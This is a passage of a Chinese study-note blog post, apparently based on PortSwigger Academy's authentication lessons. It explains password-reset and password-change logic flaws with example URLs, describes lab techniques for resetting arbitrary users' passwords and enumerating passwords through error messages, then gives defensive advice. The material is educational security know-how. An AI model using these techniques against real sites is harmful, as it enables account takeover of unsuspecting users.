不用说,如果网站首先安全地处理密码,则永远不可能向用户发送其当前密码。 相反,某些网站会生成一个新密码,然后通过电子邮件将其发送给用户。

一般而言,应避免通过不安全的通道发送持久性密码。 在这种情况下,安全性取决于生成的密码在很短的时间内过期,或者取决于用户立即再次更改其密码。 否则,此方法极易受到中间人攻击。

考虑到收件箱既是持久性的,又不是为安全存储机密信息而设计的,通常也认为电子邮件不安全。 许多用户还会通过不安全的频道在多个设备之间自动同步其收件箱。

4.2 使用URL重置密码

重置密码的一种更可靠的方法是向用户发送一个唯一的URL,该URL将其带到密码重置页面。 此方法的安全性较差的实现使用带有易于猜测的参数的URL来标识要重置的帐户,例如:

http://vulnerable-website.com/reset-password?user=victim-user

在此示例中,攻击者可以更改用户参数以引用他们已经标识的任何用户名。 然后将他们直接带到一个页面,在该页面中,他们可以为该任意用户设置新密码。

此过程的更好实现是生成一个高熵的,难以猜测的令牌,并基于该令牌创建重置URL。 在最佳情况下,此URL不应提供有关重置哪个用户密码的提示。

http://vulnerable-website.com/reset-password?token=a0ba0d1cb3b63d13822572fcff1a241895d893f659164d4cc550b421ebdd48a8

当用户访问此URL时,系统应检查此令牌在后端是否存在,如果存在,则应检查应重置哪个用户的密码。 此令牌应在短时间后过期,并在重置密码后立即销毁。

但是,某些网站在提交重置表格后也无法再次验证令牌。 在这种情况下,攻击者可以简单地从自己的帐户访问重设表单,删除令牌,然后利用此页面重设任意用户的密码。

Lab: Password reset broken logic

见:https://blog.csdn.net/qq_42942594/article/details/108800122#t14

如果重置电子邮件中的URL是动态生成的,这也可能容易受到密码重置中毒的攻击。在这种情况下,攻击者可能会窃取其他用户的令牌,并使用它更改他们的密码。

Lab: Password reset poisoning via middleware

见:https://blog.csdn.net/qq_42942594/article/details/110090787#t25

4.3 修改用户密码

通常,更改密码需要输入当前密码,然后输入两次新密码。 这些页面从根本上依靠与普通登录​​页面相同的过程来检查用户名和当前密码是否匹配。 因此,这些页面可能容易受到相同技术的攻击。

如果密码更改功能允许攻击者直接访问它而无需以受害者用户身份登录,则可能特别危险。 例如,如果在隐藏字段中提供了用户名,则攻击者可能能够在请求中编辑此值以定位任意用户。 这可能被利用来枚举用户名和暴力密码。

Lab: Password brute-force via password change

输入错误的当前密码时,请注意行为。 如果新密码的两个条目匹配,则该帐户被锁定。 但是,如果输入两个不同的新密码,则会出现一条错误消息,提示您当前密码不正确。 如果输入有效的当前密码,但输入了两个不同的新密码,则消息将显示“新密码不匹配”。 我们可以使用此消息来枚举正确的密码。

这个是我没想到的,正常人判断完密码不对直接退出不就完事了吗,看来程序还需要先判断新密码是否相同(后端)

PortSwigger Academy | Authentication : 身份认证_第16张图片


接上文: 防止对您自己的身份验证机制的攻击 ↓

1 如何保护身份验证机制

在本节中,我们将讨论如何防止在身份验证机制中出现我们讨论过的一些漏洞。

身份验证是一个复杂的主题,正如我们已经演示的那样,不幸的是,它太容易让弱点和缺陷潜入。采取全部可能的措施来保护自己的网站显然是不可能的。但是,您应该始终遵循几个基本原则。

1.1 注意用户凭据

如果您无意中向攻击者透露了一组有效的登录凭据,即使是最健壮的身份验证机制也会失效。不用说,您永远不应该通过未加密的连接发送任何登录数据。尽管您可能已经为您的登录请求实现了HTTPS,但请确保您也通过将任何尝试的HTTP请求重定向到HTTPS来实现这一点。

例如,您还应该审核您的网站,以确保没有用户名或电子邮件地址是能通过公开的配置文件访问到的或反映在HTTP响应中。

1.2 不要指望用户来保证安全

严格的身份验证措施通常需要用户付出额外的努力。人类的本性使得一些用户会想方设法省去这些努力,这几乎是不可避免的。因此,您需要尽可能实施安全行为。

最明显的例子是实现一个有效的密码策略。一些更传统的政策失败了,因为人们在政策中强行输入自己可预测的密码。相反,它可以更有效地实现一个简单的密码检查器的某种形式,它允许用户实验密码,并提供实时反馈。一个流行的例子是由Dropbox开发的JavaScript库zxcvbn。只允许密码检查器高度评价的密码通过检查,可以比使用传统策略更有效地强制使用安全密码。

1.3 防止用户名枚举

如果被发现系统上存在某个用户,则攻击者很容易破坏您的身份验证机制。甚至在某些情况下,由于网站的性质,知道某个人有账户本身就是敏感信息。

不管尝试的用户名是否有效,重要的是使用相同的通用错误消息,并确保它们确实相同。每次登录请求都应该返回相同的HTTP状态码,最后,尽可能区分不同场景中的响应时间。

1.4 实施强大的暴力破解保护

考虑到构造暴力攻击是多么简单,确保您采取措施防止或至少中断任何暴力登录的尝试是至关重要的。

更有效的方法之一是实施严格的、基于IP的用户速率限制。这应该包括防止攻击者操纵其本身IP地址的措施。理想情况下,您应该要求用户在达到某个限制后,对每次登录尝试都完成验证码测试。

请记住,这并不能保证完全消除暴力破解的威胁。然而,使这个过程尽可能的困难就增加了任何潜在攻击者放弃并转而寻找更软的柿子的可能性。

1.5 反复检查验证逻辑

正如我们的实验室所证明的,简单的逻辑缺陷很容易蔓延到代码中,在身份验证的情况下,这些代码有可能完全危害您的网站和用户。彻底审核任何验证或确认逻辑以消除缺陷是健壮身份验证的绝对关键。

1.6 别忘了补充功能

确保不要只关注中心登录页面,而忽略与身份验证相关的附加功能。在攻击者可以自由注册自己的帐户并探索此功能的情况下,这一点尤为重要。请记住,密码重置或更改在攻击表面上与主登录机制一样有效,因此必须同样健壮。

1.7 实施适当的多因素身份验证

虽然多因素身份验证可能不适用于每个网站,但如果操作得当,它比仅基于密码的登录安全得多。请记住,验证同一因素的多个实例并不是真正的多因素身份验证。通过电子邮件发送验证码本质上只是一种冗长的单因素身份验证形式。

基于SMS的2FA在技术上验证了两个因素(你知道的东西和你拥有的东西)。然而,通过虚拟SIM卡可能导致SIM卡被滥用(云短信等),这意味着该系统可能不可靠。

理想情况下,2FA应该使用直接生成验证码的专用设备或应用程序来实现。由于它们是专门为提供安全性而构建的,因此通常更安全。

最后,就像主身份验证逻辑一样,确保2FA检查中的逻辑是正确的,这样就不容易被绕过。

你可能感兴趣的:(PostSwigger,Academy,安全,web)